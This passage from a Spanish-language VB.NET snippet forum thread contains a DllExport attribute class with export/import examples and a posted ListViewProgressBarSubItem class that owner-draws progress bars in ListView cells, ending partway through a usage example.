  66.    ''' Allowing a programmer to use this attribute class without having the plugin installed in their Visual Studio projects.
  67.    ''' <para></para>
  68.    ''' Be aware that it is still necessary to use one of the mentioned projects to enable .NET functions export.
  69.    ''' </summary>
  70.    <AttributeUsage(AttributeTargets.Method, AllowMultiple:=False, Inherited:=False)>
  71.    Public NotInheritable Class DllExportAttribute : Inherits Attribute
  72.  
  73. #Region " Properties "
  74.  
  75.        ''' <summary>
  76.        ''' Gets or sets the calling convention required to call this C-exported function from unmanaged code.
  77.        ''' <para></para>
  78.        ''' Default value is <see cref="System.Runtime.InteropServices.CallingConvention.Cdecl"/>,
  79.        ''' like for other C/C++ programs (Microsoft Specific).
  80.        ''' <para></para>
  81.        ''' Value <see cref="System.Runtime.InteropServices.CallingConvention.StdCall"/> is mostly used with Windows API.
  82.        ''' <para></para>
  83.        ''' </summary>
  84.        Public Property CallingConvention As CallingConvention = CallingConvention.Cdecl
  85.  
  86.        ''' <summary>
  87.        ''' Gets or sets the optional name for this C-exported function.
  88.        ''' </summary>
  89.        ''' <remarks>
  90.        ''' See also:
  91.        ''' <seealso href="https://learn.microsoft.com/en-us/cpp/build/reference/decorated-names?view=msvc-170#FormatC">
  92.        ''' Format of a C decorated name.
  93.        ''' </seealso>
  94.        ''' </remarks>
  95.        Public Property ExportName As String
  96.  
  97. #End Region
  98.  
  99. #Region " Constructors "
  100.  
  101.        ''' <summary>
  102.        ''' Initializes a new instance of the <see cref="DllExportAttribute"/> class.
  103.        ''' <para></para>
  104.        ''' Use this constructor only if you plan to use <b>DllExport</b> by 3F (<see href="https://github.com/3F/DllExport"/>),
  105.        ''' <para></para>
  106.        ''' otherwise, use <see cref="DllExportAttribute.New(String, CallingConvention)"/>
  107.        ''' to specify the export name and calling convention.
  108.        ''' </summary>
  109.        '''
  110.        ''' <param name="convention">
  111.        ''' The calling convention required to call this C-exported function.
  112.        ''' <para></para>
  113.        ''' Default value is <see cref="System.Runtime.InteropServices.CallingConvention.Cdecl"/>,
  114.        ''' like for other C/C++ programs (Microsoft Specific).
  115.        ''' <para></para>
  116.        ''' Value <see cref="System.Runtime.InteropServices.CallingConvention.StdCall"/> is mostly used with Windows API.
  117.        ''' <para></para>
  118.        ''' </param>
  119.        '''
  120.        ''' <param name="exportName">
  121.        ''' The optional name for this C-exported function.
  122.        ''' See also:
  123.        ''' <seealso href="https://learn.microsoft.com/en-us/cpp/build/reference/decorated-names?view=msvc-170#FormatC">
  124.        ''' Format of a C decorated name.
  125.        ''' </seealso>
  126.        ''' </param>
  127.        Public Sub New(convention As CallingConvention, exportName As String)
  128.  
  129.            Me.CallingConvention = convention
  130.            Me.ExportName = exportName
  131.        End Sub
  132.  
  133.        ''' <summary>
  134.        ''' Initializes a new instance of the <see cref="DllExportAttribute"/> class.
  135.        ''' <para></para>
  136.        ''' Do not use this constructor if you plan to use <b>DllExport</b> by 3F (<see href="https://github.com/3F/DllExport"/>),
  137.        ''' <para></para>
  138.        ''' in that case use <see cref="DllExportAttribute.New(CallingConvention, String)"/>  
  139.        ''' to specify the export name and calling convention.
  140.        ''' </summary>
  141.        '''
  142.        ''' <param name="exportName">
  143.        ''' The optional name for this C-exported function.
  144.        ''' See also:
  145.        ''' <seealso href="https://learn.microsoft.com/en-us/cpp/build/reference/decorated-names?view=msvc-170#FormatC">
  146.        ''' Format of a C decorated name.
  147.        ''' </seealso>
  148.        ''' </param>
  149.        '''
  150.        ''' <param name="convention">
  151.        ''' The calling convention required to call this C-exported function.
  152.        ''' <para></para>
  153.        ''' Default value is <see cref="System.Runtime.InteropServices.CallingConvention.Cdecl"/>,
  154.        ''' like for other C/C++ programs (Microsoft Specific).
  155.        ''' <para></para>
  156.        ''' Value <see cref="System.Runtime.InteropServices.CallingConvention.StdCall"/> is mostly used with Windows API.
  157.        ''' <para></para>
  158.        ''' </param>
  159.        Public Sub New(exportName As String, convention As CallingConvention)
  160.  
  161.            Me.ExportName = exportName
  162.            Me.CallingConvention = convention
  163.        End Sub
  164.  
  165.        ''' <summary>
  166.        ''' Initializes a new instance of the <see cref="DllExportAttribute"/> class.
  167.        ''' </summary>
  168.        '''
  169.        ''' <param name="exportName">
  170.        ''' The optional name for this C-exported function.
  171.        ''' See also:
  172.        ''' <seealso href="https://learn.microsoft.com/en-us/cpp/build/reference/decorated-names?view=msvc-170#FormatC">
  173.        ''' Format of a C decorated name.
  174.        ''' </seealso>
  175.        ''' </param>
  176.        Public Sub New(exportName As String)
  177.  
  178.            Me.New(exportName, CallingConvention.Cdecl)
  179.        End Sub
  180.  
  181.        ''' <summary>
  182.        ''' Initializes a new instance of the <see cref="DllExportAttribute"/> class.
  183.        ''' </summary>
  184.        '''
  185.        ''' <param name="convention">
  186.        ''' The calling convention required to call this C-exported function.
  187.        ''' <para></para>
  188.        ''' Default value is <see cref="System.Runtime.InteropServices.CallingConvention.Cdecl"/>,
  189.        ''' like for other C/C++ programs (Microsoft Specific).
  190.        ''' <para></para>
  191.        ''' Value <see cref="System.Runtime.InteropServices.CallingConvention.StdCall"/> is mostly used with Windows API.
  192.        ''' <para></para>
  193.        ''' </param>
  194.        Public Sub New(convention As CallingConvention)
  195.  
  196.            Me.New(String.Empty, convention)
  197.        End Sub
  198.  
  199.        ''' <summary>
  200.        ''' Initializes a new instance of the <see cref="DllExportAttribute"/> class.
  201.        ''' </summary>
  202.        Public Sub New()
  203.        End Sub
  204.  
  205. #End Region
  206.  
  207.    End Class
  208.  
  209. #End Region
  210.  
  211. End Namespace



Ejemplos de modo de exportación:

VB.NET:
Código
  1. <DllExport(NameOf(MyStringFunction), CallingConvention.StdCall)>
  2. Public Shared Function MyStringFunction() As <MarshalAs(UnmanagedType.BStr)> String
  3.    Return "Hello World!"
  4. End Function

C#:
Código
  1. [DllExport(nameof(MyStringFunction), CallingConvention.StdCall)]
  2. [return: MarshalAs(UnmanagedType.BStr)]
  3. public static string MyStringFunction() {
  4.    return "Hello World!";
  5. }

Ejemplos de modo de importación:

Pascal Script:
Código:
function MyStringFunction(): Cardinal;
  external 'MyStringFunction@files:MyNetAPI.dll stdcall';


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2025, 11:54 am
Le he dado un lavado de cara moderno a esta impresentable clase del año 2013:
  • Una nueva versión de mi Listview, que tiene muchas cosas interesantes como poder dibujar una barra de progreso en una celda... (https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg1897138#msg1897138)

He aislado prácticamente toda la lógica de la "barra" de progreso para poder utilizarlo por separado en cualquier tipo de herencia de la clase ListView, en lugar de depender exclusivamente de ese control personalizado ListView que publiqué.

Les presento la clase ListViewProgressBarSubItem que implementa por sí misma (la parte esencial de) el dibujado de la celda y la "barra" de progreso del subitem, proporcionando propiedades de personalización que lo vuelven un elemento flexible y versátil:

(https://i.imgur.com/qi2lJ1W.gif)

💡 Con un poco de mano e ingenio se podría adaptar relativamente fácil dicha clase para dibujar estrellitas (un ranking o puntuación) u otros menesteres varios.

Para ello primero necesitaremos esta simple interfaz:

ISelfDrawableListViewSubItem
Código
  1. ''' <summary>
  2. ''' Provides a contract for a <see cref="ListViewItem.ListViewSubItem"/> that is capable of drawing itself.
  3. ''' </summary>
  4. '''
  5. ''' <remarks>
  6. ''' For this interface to take effect, the owning <see cref="ListView"/> must have its
  7. ''' <see cref="ListView.OwnerDraw"/> property set to <see langword="True"/>, and the
  8. ''' <see cref="ListView.OnDrawSubItem"/> method must be properly overridden to delegate
  9. ''' the drawing logic by calling the <see cref="ISelfDrawableListViewSubItem.Draw(Graphics, Rectangle)"/> method.
  10. ''' <para></para>
  11. ''' See the attached code example for a practical implementation of this functionality.
  12. ''' </remarks>
  13. '''
  14. ''' <example> This is a code example.
  15. ''' <code language="VB">
  16. ''' Public Class CustomListView : Inherits ListView
  17. '''
  18. '''     Public Sub New()
  19. '''
  20. '''         MyBase.New()
  21. '''
  22. '''         Me.DoubleBuffered = True
  23. '''         Me.OwnerDraw = True
  24. '''     End Sub
  25. '''
  26. '''     Protected Overrides Sub OnDrawColumnHeader(e As DrawListViewColumnHeaderEventArgs)
  27. '''
  28. '''         e.DrawDefault = True
  29. '''         MyBase.OnDrawColumnHeader(e)
  30. '''     End Sub
  31. '''
  32. '''     Protected Overrides Sub OnDrawItem(e As DrawListViewItemEventArgs)
  33. '''
  34. '''         e.DrawDefault = False
  35. '''         MyBase.OnDrawItem(e)
  36. '''     End Sub
  37. '''
  38. '''     Protected Overrides Sub OnDrawSubItem(e As DrawListViewSubItemEventArgs)
  39. '''
  40. '''         Dim selfDrawableSubItem As ISelfDrawableListViewSubItem = TryCast(e.SubItem, ISelfDrawableListViewSubItem)
  41. '''         If selfDrawableSubItem IsNot Nothing Then
  42. '''             selfDrawableSubItem.Draw(e.Graphics, e.Bounds)
  43. '''         Else
  44. '''             e.DrawDefault = True
  45. '''         End If
  46. '''
  47. '''         MyBase.OnDrawSubItem(e)
  48. '''     End Sub
  49. '''
  50. ''' End Class
  51. ''' </code>
  52. ''' </example>
  53. Public Interface ISelfDrawableListViewSubItem
  54.  
  55.    ''' <summary>
  56.    ''' Draws the subitem within the specified bounds using the provided <see cref="Graphics"/> surface.
  57.    ''' <para></para>
  58.    ''' This method must be called from the <see cref="ListView.OnDrawSubItem"/> method of the owning <see cref="ListView"/>.
  59.    ''' </summary>
  60.    '''
  61.    ''' <param name="g">
  62.    ''' The <see cref="Graphics"/> surface on which to render the subitem.
  63.    ''' </param>
  64.    '''
  65.    ''' <param name="bounds">
  66.    ''' The <see cref="Rectangle"/> that defines the drawing area for the subitem.
  67.    ''' </param>
  68.    Sub Draw(g As Graphics, bounds As Rectangle)
  69.  
  70. End Interface

Y por último, la clase:

ListViewProgressBarSubItem
Código
  1. ''' <summary>
  2. ''' Represents a custom <see cref="ListViewItem.ListViewSubItem"/> that visually
  3. ''' simulates a progress bar with personalizable text and appearance.
  4. ''' </summary>
  5. '''
  6. ''' <remarks>
  7. ''' For this class to take effect, the owning <see cref="ListView"/> must have its
  8. ''' <see cref="ListView.OwnerDraw"/> property set to <see langword="True"/>, and the
  9. ''' <see cref="ListView.OnDrawSubItem"/> method must be properly overridden to delegate
  10. ''' the drawing logic by calling the <see cref="ListViewProgressBarSubItem.Draw(Graphics, Rectangle)"/> method.
  11. ''' <para></para>
  12. ''' See the attached code example for a practical implementation of this functionality.
  13. ''' </remarks>
  14. '''
  15. ''' <example> This is a code example.
  16. ''' <code language="VB">
  17. ''' Public Class Form1
  18. '''
  19. '''     Private WithEvents CustomListView1 As New CustomListView()
  20. '''
  21. '''     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  22. '''
  23. '''         Dim lv As ListView = Me.CustomListView1
  24. '''         Dim item As New ListViewItem("My item")
  25. '''         Dim subItem As New ListViewProgressBarSubItem(item) With {
  26. '''             .DecimalPlaces = 2,
  27. '''             .TextSuffix = Nothing,
  28. '''             .BorderColor = Color.Empty,
  29. '''             .BackColor = Color.Empty,
  30. '''             .ForeColor = Color.Red,
  31. '''             .FillGradientColorLeft = SystemColors.Highlight,
  32. '''             .FillGradientColorRight = SystemColors.Highlight,
  33. '''             .FillGradientAngle = 0
  34. '''         }
  35. '''
  36. '''         item.SubItems.Add(subItem)
  37. '''         lv.Items.Add(item)
  38. '''     End Sub
  39. '''
  40. ''' End Class
  41. '''
  42. ''' Public Class CustomListView : Inherits ListView
  43. '''
  44. '''     Public Sub New()
  45. '''
  46. '''         MyBase.New()
  47. '''
  48. '''         Me.DoubleBuffered = True
  49. '''         Me.OwnerDraw = True
  50. '''     End Sub
  51. '''
  52. '''     Protected Overrides Sub OnDrawColumnHeader(e As DrawListViewColumnHeaderEventArgs)
  53. '''
  54. '''         e.DrawDefault = True
  55. '''         MyBase.OnDrawColumnHeader(e)
  56. '''     End Sub
  57. '''
  58. '''     Protected Overrides Sub OnDrawItem(e As DrawListViewItemEventArgs)
  59. '''
  60. '''         e.DrawDefault = False
  61. '''         MyBase.OnDrawItem(e)
  62. '''     End Sub
  63. '''
  64. '''     Protected Overrides Sub OnDrawSubItem(e As DrawListViewSubItemEventArgs)
  65. '''
  66. '''         Dim selfDrawableSubItem As ISelfDrawableListViewSubItem = TryCast(e.SubItem, ISelfDrawableListViewSubItem)
  67. '''         If selfDrawableSubItem IsNot Nothing Then
  68. '''             selfDrawableSubItem.Draw(e.Graphics, e.Bounds)
  69. '''         Else
  70. '''             e.DrawDefault = True
  71. '''         End If
  72. '''
  73. '''         MyBase.OnDrawSubItem(e)
  74. '''     End Sub
  75. '''
  76. ''' End Class
  77. ''' </code>
  78. ''' </example>
  79. <Serializable>
  80. <TypeConverter(GetType(ExpandableObjectConverter))>
  81. <ToolboxItem(False)>
  82. <DesignTimeVisible(False)>
  83. <DefaultProperty("Text")>
  84. Public Class ListViewProgressBarSubItem : Inherits ListViewItem.ListViewSubItem : Implements ISelfDrawableListViewSubItem
  85.  
  86. #Region " Fields "
  87.  
  88.    ''' <summary>
  89.    ''' The default font of the text displayed by the subitem.
  90.    ''' </summary>
  91.    <NonSerialized>
  92.    Protected defaultFont As Font = MyBase.Font
  93.  
  94.    ''' <summary>
  95.    ''' The default background color of the subitem's text.
  96.    ''' </summary>
  97.    <NonSerialized>
  98.    Protected defaultBackColor As Color = MyBase.BackColor
  99.  
  100.    ''' <summary>
  101.    ''' The default foreground color of the subitem's text.
  102.    ''' </summary>
  103.    <NonSerialized>
  104.    Protected defaultForeColor As Color = MyBase.ForeColor
  105.  
  106.    ''' <summary>
  107.    ''' The default angle to draw the linear gradient specified by  
  108.    ''' <see cref="ListViewProgressBarSubItem.FillGradientColorLeft"/>
  109.    ''' and <see cref="ListViewProgressBarSubItem.FillGradientColorRight"/> colors.
  110.    ''' </summary>
  111.    <NonSerialized>
  112.    Protected defaultFillGradientAngle As Single = 0
  113.  
  114.    ''' <summary>
  115.    ''' The default starting linear gradient color to fill the progress area.
  116.    ''' </summary>
  117.    <NonSerialized>
  118.    Protected defaultFillGradientColorLeft As Color = SystemColors.HighlightText
  119.  
  120.    ''' <summary>
  121.    ''' The default ending linear gradient color to fill the progress area.
  122.    ''' </summary>
  123.    <NonSerialized>
  124.    Protected defaultFillGradientColorRight As Color = SystemColors.Highlight
  125.  
  126.    ''' <summary>
  127.    ''' The default color of the progress bar border.
  128.    ''' </summary>
  129.    <NonSerialized>
  130.    Protected defaultBorderColor As Color = SystemColors.InactiveBorder
  131.  
  132.    ''' <summary>
  133.    ''' The default <see cref="System.Windows.Forms.TextFormatFlags"/> that determine
  134.    ''' how the subitem text is rendered and aligned.
  135.    ''' </summary>
  136.    <NonSerialized>
  137.    Protected defaultTextFormatFlags As TextFormatFlags =
  138.        TextFormatFlags.HorizontalCenter Or
  139.        TextFormatFlags.VerticalCenter Or
  140.        TextFormatFlags.EndEllipsis Or
  141.        TextFormatFlags.SingleLine
  142.  
  143. #End Region
  144.  
  145. #Region " Properties "
  146.  
  147.    ''' <summary>
  148.    ''' Gets or sets the current progress percentage value to display in the progress bar.
  149.    ''' <para></para>
  150.    ''' The value should be between 0 to 100.
  151.    ''' </summary>
  152.    Public Property ProgressPercentage As Double
  153.        Get
  154.            Return Me.progressPercentage_
  155.        End Get
  156.        <DebuggerStepThrough>
  157.        Set(value As Double)
  158.            Me.SetFieldValue(Me.progressPercentage_, value)
  159.        End Set
  160.    End Property
  161.    ''' <summary>
  162.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.ProgressPercentage"/> property )
  163.    ''' <para></para>
  164.    ''' The current progress percentage value to display in the progress bar.
  165.    ''' </summary>
  166.    Private progressPercentage_ As Double
  167.  
  168.    ''' <summary>
  169.    ''' Gets or sets the number of decimal places displayed for the <see cref="ListViewProgressBarSubItem.ProgressPercentage"/> value.
  170.    ''' <para></para>
  171.    ''' Default value is zero.
  172.    ''' </summary>
  173.    Public Property DecimalPlaces As Short
  174.        Get
  175.            Return Me.decimalPlaces_
  176.        End Get
  177.        <DebuggerStepThrough>
  178.        Set(value As Short)
  179.            Me.SetFieldValue(Me.decimalPlaces_, value)
  180.        End Set
  181.    End Property
  182.    ''' <summary>
  183.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.DecimalPlaces"/> property )
  184.    ''' <para></para>
  185.    ''' The number of decimal places displayed for the <see cref="ListViewProgressBarSubItem.ProgressPercentage"/> value.
  186.    ''' </summary>
  187.    Private decimalPlaces_ As Short
  188.  
  189.    ''' <summary>
  190.    ''' Gets or sets the additional text displayed next to the <see cref="ListViewProgressBarSubItem.ProgressPercentage"/> value.
  191.    ''' </summary>
  192.    Public Property TextSuffix As String
  193.        Get
  194.            Return Me.textSuffix_
  195.        End Get
  196.        <DebuggerStepThrough>
  197.        Set(value As String)
  198.            Me.SetFieldValue(Me.textSuffix_, value)
  199.        End Set
  200.    End Property
  201.    ''' <summary>
  202.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.TextSuffix"/> property )
  203.    ''' <para></para>
  204.    ''' The additional text displayed next to the <see cref="ListViewProgressBarSubItem.ProgressPercentage"/> value.
  205.    ''' </summary>
  206.    Private textSuffix_ As String
  207.  
  208.    ''' <summary>
  209.    ''' Gets or sets the <see cref="System.Windows.Forms.TextFormatFlags"/> that determine
  210.    ''' how the subitem text is rendered and aligned.
  211.    ''' <para></para>
  212.    ''' Default value is:
  213.    ''' <see cref="System.Windows.Forms.TextFormatFlags.HorizontalCenter"/>,
  214.    ''' <see cref="System.Windows.Forms.TextFormatFlags.VerticalCenter"/>,
  215.    ''' <see cref="System.Windows.Forms.TextFormatFlags.EndEllipsis"/> and
  216.    ''' <see cref="System.Windows.Forms.TextFormatFlags.SingleLine"/>
  217.    ''' </summary>
  218.    Public Property TextFormatFlags As TextFormatFlags
  219.        Get
  220.            Return Me.textFormatFlags_
  221.        End Get
  222.        <DebuggerStepThrough>
  223.        Set(value As TextFormatFlags)
  224.            Me.SetFieldValue(Me.textFormatFlags_, value)
  225.        End Set
  226.    End Property
  227.    ''' <summary>
  228.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.TextFormatFlags"/> property )
  229.    ''' <para></para>
  230.    ''' The <see cref="System.Windows.Forms.TextFormatFlags"/> that determine how the subitem text is rendered.
  231.    ''' </summary>
  232.    Private textFormatFlags_ As TextFormatFlags
  233.  
  234.    ''' <summary>
  235.    ''' Gets or sets the starting linear gradient color to fill the progress area.
  236.    ''' <para></para>
  237.    ''' Default value is <see cref="SystemColors.Control"/>.
  238.    ''' </summary>
  239.    Public Property FillGradientColorLeft As Color
  240.        Get
  241.            Return Me.fillGradientColorLeft_
  242.        End Get
  243.        <DebuggerStepThrough>
  244.        Set(value As Color)
  245.            Me.SetFieldValue(Me.fillGradientColorLeft_, value)
  246.        End Set
  247.    End Property
  248.    ''' <summary>
  249.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.FillGradientColorLeft"/> property )
  250.    ''' <para></para>
  251.    ''' The starting linear gradient color to fill the progress area.
  252.    ''' </summary>
  253.    Private fillGradientColorLeft_ As Color
  254.  
  255.    ''' <summary>
  256.    ''' Gets or sets the ending linear gradient color to fill the progress area.
  257.    ''' <para></para>
  258.    ''' Default value is <see cref="Color.LightGreen"/>.
  259.    ''' </summary>
  260.    Public Property FillGradientColorRight As Color
  261.        Get
  262.            Return Me.fillGradientColorRight_
  263.        End Get
  264.        <DebuggerStepThrough>
  265.        Set(value As Color)
  266.            Me.SetFieldValue(Me.fillGradientColorRight_, value)
  267.        End Set
  268.    End Property
  269.    ''' <summary>
  270.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.FillGradientColorRight"/> property )
  271.    ''' <para></para>
  272.    ''' The ending linear gradient color to fill the progress area.
  273.    ''' </summary>
  274.    Private fillGradientColorRight_ As Color
  275.  
  276.    ''' <summary>
  277.    ''' Gets or sets the angle to draw the linear gradient specified by  
  278.    ''' <see cref="ListViewProgressBarSubItem.FillGradientColorLeft"/>
  279.    ''' and <see cref="ListViewProgressBarSubItem.FillGradientColorRight"/> colors.
  280.    ''' <para></para>
  281.    ''' Default value is zero.
  282.    ''' </summary>
  283.    Public Property FillGradientAngle As Single
  284.        Get
  285.            Return Me.fillGradientAngle_
  286.        End Get
  287.        <DebuggerStepThrough>
  288.        Set(value As Single)
  289.            Me.SetFieldValue(Me.fillGradientAngle_, value)
  290.        End Set
  291.    End Property
  292.    ''' <summary>
  293.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.FillGradientAngle"/> property )
  294.    ''' <para></para>
  295.    ''' The angle to draw the linear gradient specified by  
  296.    ''' <see cref="ListViewProgressBarSubItem.FillGradientColorLeft"/>
  297.    ''' and <see cref="ListViewProgressBarSubItem.FillGradientColorRight"/> colors.
  298.    ''' </summary>
  299.    Private fillGradientAngle_ As Single
  300.  
  301.    ''' <summary>
  302.    ''' Gets or sets the color of the progress bar border.
  303.    ''' <para></para>
  304.    ''' Default value is <see cref="SystemColors.ActiveBorder"/>.
  305.    ''' </summary>
  306.    Public Property BorderColor As Color
  307.        Get
  308.            Return Me.borderColor_
  309.        End Get
  310.        <DebuggerStepThrough>
  311.        Set(value As Color)
  312.            Me.SetFieldValue(Me.borderColor_, value)
  313.        End Set
  314.    End Property
  315.    ''' <summary>
  316.    ''' ( Backing Field of <see cref="ListViewProgressBarSubItem.BorderColor"/> property )
  317.    ''' <para></para>
  318.    ''' The color of the progress bar border.
  319.    ''' </summary>
  320.    Private borderColor_ As Color
  321.  
  322.    ''' <summary>
  323.    ''' Gets or sets the background color of the subitem cell.
  324.    ''' </summary>
  325.    Public Shadows Property BackColor As Color
  326.        Get
  327.            Return MyBase.BackColor
  328.        End Get
  329.        <DebuggerStepThrough>
  330.        Set(value As Color)
  331.            Me.SetFieldValue(MyBase.BackColor, value)
  332.        End Set
  333.    End Property
  334.  
  335.    ''' <summary>
  336.    ''' Gets or sets the foreground color of the subitem's text.
  337.    ''' </summary>
  338.    Public Shadows Property ForeColor As Color
  339.        Get
  340.            Return MyBase.ForeColor
  341.        End Get
  342.        <DebuggerStepThrough>
  343.        Set(value As Color)
  344.            Me.SetFieldValue(MyBase.ForeColor, value)
  345.        End Set
  346.    End Property
  347.  
  348.    ''' <summary>
  349.    ''' Gets or sets the font of the text displayed by the subitem.
  350.    ''' </summary>
  351.    Public Shadows Property Font As Font
  352.        Get
  353.            Return MyBase.Font
  354.        End Get
  355.        Set(value As Font)
  356.            Me.SetFieldValue(MyBase.Font, value)
  357.        End Set
  358.    End Property
  359.  
  360.    ''' <summary>
  361.    ''' Gets the text of the subitem.
  362.    ''' </summary>
  363.    Public Shadows ReadOnly Property Text As String
  364.        Get
  365.            Return Me.progressPercentage_.ToString("N" & Me.decimalPlaces_) & "%" &
  366.                   If(String.IsNullOrEmpty(Me.textSuffix_), Nothing, " " & Me.textSuffix_)
  367.        End Get
  368.    End Property
  369.  
  370. #End Region
  371.  
  372. #Region " Constructors "
  373.  
  374.    ''' <summary>
  375.    ''' Initializes a new instance of the <see cref="ListViewProgressBarSubItem"/> class
  376.    ''' associated with the given <see cref="ListViewItem"/>.
  377.    ''' </summary>
  378.    '''
  379.    ''' <param name="owner">
  380.    ''' A <see cref="ListViewItem"/> that represents the item that owns this <see cref="ListViewProgressBarSubItem"/>.
  381.    ''' </param>
  382.    <DebuggerStepThrough>
  383.    Public Sub New(owner As ListViewItem)
  384.  
  385.        MyBase.New(owner, String.Empty)
  386.        Me.ResetStyle()
  387.    End Sub
  388.  
  389.    ''' <summary>
  390.    ''' Initializes a new instance of the <see cref="ListViewProgressBarSubItem"/> class.
  391.    ''' </summary>
  392.    <DebuggerStepThrough>
  393.    Public Sub New()
  394.  
  395.        Me.ResetStyle()
  396.    End Sub
  397.  
  398. #End Region
  399.  
  400. #Region " Public Methods "
  401.  
  402.    ''' <summary>
  403.    ''' Resets the styles applied to the subitem to the default font and colors.
  404.    ''' </summary>
  405.    <DebuggerStepThrough>
  406.    Public Shadows Sub ResetStyle()
  407.  
  408.        MyBase.Font = Me.defaultFont
  409.        MyBase.BackColor = Me.defaultBackColor
  410.        MyBase.ForeColor = Me.defaultForeColor
  411.  
  412.        Me.textFormatFlags_ = Me.defaulttextFormatFlags
  413.        Me.fillGradientColorLeft_ = Me.defaultFillGradientColorLeft
  414.        Me.fillGradientColorRight_ = Me.defaultFillGradientColorRight
  415.        Me.fillGradientAngle_ = Me.defaultFillGradientAngle
  416.        Me.borderColor_ = Me.defaultBorderColor
  417.  
  418.        Me.RefreshSubItem()
  419.    End Sub
  420.  
  421. #End Region
  422.  
  423. #Region " Private Methods "
  424.  
  425.    ''' <summary>
  426.    ''' Sets the value of the specified field using <see cref="EqualityComparer(Of T)"/> to check value equality.
  427.    ''' <para></para>
  428.    ''' If the new value is different from the current one,
  429.    ''' it then calls <see cref="ListViewProgressBarSubItem.RefreshSubItem"/> method.
  430.    ''' </summary>
  431.    '''
  432.    ''' <typeparam name="T">
  433.    ''' The type of the property value.
  434.    ''' </typeparam>
  435.    '''
  436.    ''' <param name="refField">
  437.    ''' A reference to the backing field of the property.
  438.    ''' </param>
  439.    '''
  440.    ''' <param name="newValue">
  441.    ''' The new value to set.
  442.    ''' </param>
  443.    <DebuggerStepThrough>
  444.    Private Sub SetFieldValue(Of T)(ByRef refField As T, newValue As T)
  445.  
  446.        If Not EqualityComparer(Of T).Default.Equals(refField, newValue) Then
  447.            refField = newValue
  448.            Me.RefreshSubItem()
  449.        End If
  450.    End Sub
  451.  
  452.    ''' <summary>
  453.    ''' Refreshes the visual representation of this <see cref="ListViewProgressBarSubItem"/> subitem
  454.    ''' in the owner <see cref="ListView"/> by invalidating its bounding rectangle.
  455.    ''' </summary>
  456.    '''
  457.    ''' <remarks>
  458.    ''' This method uses reflection to access the non-public "owner" field of the base
  459.    ''' <see cref="ListViewItem.ListViewSubItem"/> class in order to identify the parent item and column index.
  460.    ''' It then triggers a redraw of the specific subitem area within the parent ListView.
  461.    ''' </remarks>
  462.    <DebuggerStepThrough>
  463.    Private Sub RefreshSubItem()
  464.  
  465.        Dim fieldInfo As FieldInfo =
  466.            GetType(ListViewItem.ListViewSubItem).GetField("owner", BindingFlags.NonPublic Or BindingFlags.Instance)
  467.  
  468.        If fieldInfo IsNot Nothing Then
  469.            Dim ownerObj As Object = fieldInfo.GetValue(Me)
  470.  
  471.            If ownerObj IsNot Nothing Then
  472.                Dim lvi As ListViewItem = DirectCast(ownerObj, ListViewItem)
  473.                Dim colIndex As Integer = lvi.SubItems.IndexOf(Me)
  474.  
  475.                If colIndex >= 0 AndAlso lvi.ListView IsNot Nothing Then
  476.                    Dim subItemBounds As Rectangle = lvi.SubItems(colIndex).Bounds
  477.                    lvi.ListView.Invalidate(subItemBounds, invalidateChildren:=False)
  478.                End If
  479.            End If
  480.        End If
  481.    End Sub
  482.  
  483. #End Region
  484.  
  485. #Region " ISelfDrawableListViewSubItem Implementation "
  486.  
  487.    ''' <summary>
  488.    ''' Draws the subitem within the specified bounds using the provided <see cref="Graphics"/> surface.
  489.    ''' <para></para>
  490.    ''' This method must be called from the <see cref="ListView.OnDrawSubItem"/> method of the owning <see cref="ListView"/>.
  491.    ''' </summary>
  492.    '''
  493.    ''' <param name="g">
  494.    ''' The <see cref="Graphics"/> surface on which to render the subitem.
  495.    ''' </param>
  496.    '''
  497.    ''' <param name="bounds">
  498.    ''' The <see cref="Rectangle"/> that defines the drawing area for the subitem.
  499.    ''' </param>
  500.    <DebuggerStepThrough>
  501.    Protected Sub Draw(g As Graphics, bounds As Rectangle) Implements ISelfDrawableListViewSubItem.Draw
  502.  
  503.        ' Draw subitem background (progress bar background).
  504.        If Me.BackColor <> Color.Empty AndAlso Me.BackColor <> Color.Transparent Then
  505.  
  506.            Using backBrush As New SolidBrush(Me.BackColor)
  507.                g.FillRectangle(backBrush, bounds)
  508.            End Using
  509.        End If
  510.  
  511.        ' Draw linear gradient to fill the current progress of the progress bar.
  512.        If (Me.fillGradientColorLeft_ <> Color.Empty AndAlso Me.fillGradientColorLeft_ <> Color.Transparent) OrElse
  513.           (Me.fillGradientColorRight_ <> Color.Empty AndAlso Me.fillGradientColorRight_ <> Color.Transparent) Then
  514.  
  515.            Using brGradient As New Drawing2D.LinearGradientBrush(
  516.                New Rectangle(bounds.X, bounds.Y, bounds.Width, bounds.Height),
  517.                Me.fillGradientColorLeft_, Me.fillGradientColorRight_,
  518.                Me.fillGradientAngle_, isAngleScaleable:=True)
  519.  
  520.                Dim progressWidth As Integer = CInt((Me.progressPercentage_ / 100) * (bounds.Width - 2))
  521.                g.FillRectangle(brGradient, bounds.X + 1, bounds.Y + 2, progressWidth, bounds.Height - 3)
  522.            End Using
  523.        End If
  524.  
  525.        ' Draw subitem text.
  526.        Dim text As String = Me.Text
  527.        If Not String.IsNullOrEmpty(text) Then
  528.  
  529.            TextRenderer.DrawText(g, text, Me.Font, bounds, Me.ForeColor, Me.TextFormatFlags)
  530.        End If
  531.  
  532.        ' Draw border around the progress bar.
  533.        If Me.borderColor_ <> Color.Empty AndAlso Me.borderColor_ <> Color.Transparent Then
  534.            Using borderPen As New Pen(Me.borderColor_)
  535.                g.DrawRectangle(borderPen, bounds.X, bounds.Y + 1, bounds.Width - 2, bounds.Height - 2)
  536.            End Using
  537.        End If
  538.  
  539.    End Sub
  540.  
  541. #End Region
  542.  
  543. End Class

Ejemplo de uso:
Código
  1. Public Class Form1
  2.  
  3.     Private WithEvents CustomListView1 As New CustomListView()
  4.  
  5.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  6.  
  7.         Dim lv As ListView = Me.CustomListView1
  8.         Dim item As New ListViewItem("My item")
